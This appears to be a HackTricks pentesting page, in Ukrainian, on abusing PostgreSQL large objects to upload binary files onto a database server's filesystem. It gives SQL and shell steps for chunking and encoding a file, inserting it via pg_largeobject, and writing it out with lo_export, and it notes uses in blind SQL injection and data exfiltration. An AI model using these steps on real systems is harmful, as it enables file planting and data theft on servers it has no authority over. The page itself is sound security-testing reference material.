Big Binary Files Upload (PostgreSQL)

Support HackTricks

PostgreSQL Великі Об'єкти

PostgreSQL пропонує структуру, відому як великі об'єкти, доступну через таблицю pg_largeobject, призначену для зберігання великих типів даних, таких як зображення або PDF-документи. Цей підхід є вигіднішим у порівнянні з функцією COPY TO, оскільки він дозволяє експортувати дані назад до файлової системи, забезпечуючи точну копію оригінального файлу.

Для зберігання повного файлу в цій таблиці, об'єкт повинен бути створений у таблиці pg_largeobject (ідентифікований за LOID), після чого дані вставляються у частини, кожна з яких має розмір 2KB. Важливо, щоб ці частини були точно 2KB (з можливим винятком останньої частини), щоб функція експорту працювала правильно.

Щоб поділити ваші бінарні дані на частини по 2KB, можна виконати такі команди:

split -b 2048 your_file # Creates 2KB sized files

Для кодування кожного файлу в Base64 або Hex можна використовувати такі команди:

base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

Важливо: При автоматизації цього процесу переконайтеся, що надсилаєте частини по 2 КБ чистих байтів. Файли в шістнадцятковому кодуванні вимагатимуть 4 КБ даних на частину через подвоєння розміру, тоді як файли в Base64 кодуванні слідують формулі ceil(n / 3) * 4.

Вміст великих об'єктів можна переглядати для налагодження за допомогою:

select loid, pageno, encode(data, 'escape') from pg_largeobject;

Використання lo_creat та Base64

Щоб зберегти бінарні дані, спочатку створюється LOID:

SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

В ситуаціях, що вимагають точного контролю, таких як експлуатація Blind SQL Injection, lo_create є переважним для вказівки фіксованого LOID.

Частини даних можна вставити наступним чином:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

Щоб експортувати та потенційно видалити великий об'єкт після використання:

SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

Використання lo_import та Hex

Функція lo_import може бути використана для створення та вказівки LOID для великого об'єкта:

select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

Після створення об'єкта дані вставляються по сторінках, забезпечуючи, щоб кожен фрагмент не перевищував 2KB:

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

Щоб завершити процес, дані експортуються, а великий об'єкт видаляється:

select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

Обмеження

Зазначено, що великі об'єкти можуть мати ACL (Списки контролю доступу), що потенційно обмежує доступ навіть до об'єктів, створених вашим користувачем. Однак старі об'єкти з ліберальними ACL можуть все ще бути доступними для ексфільтрації контенту.

Support HackTricks

Last updated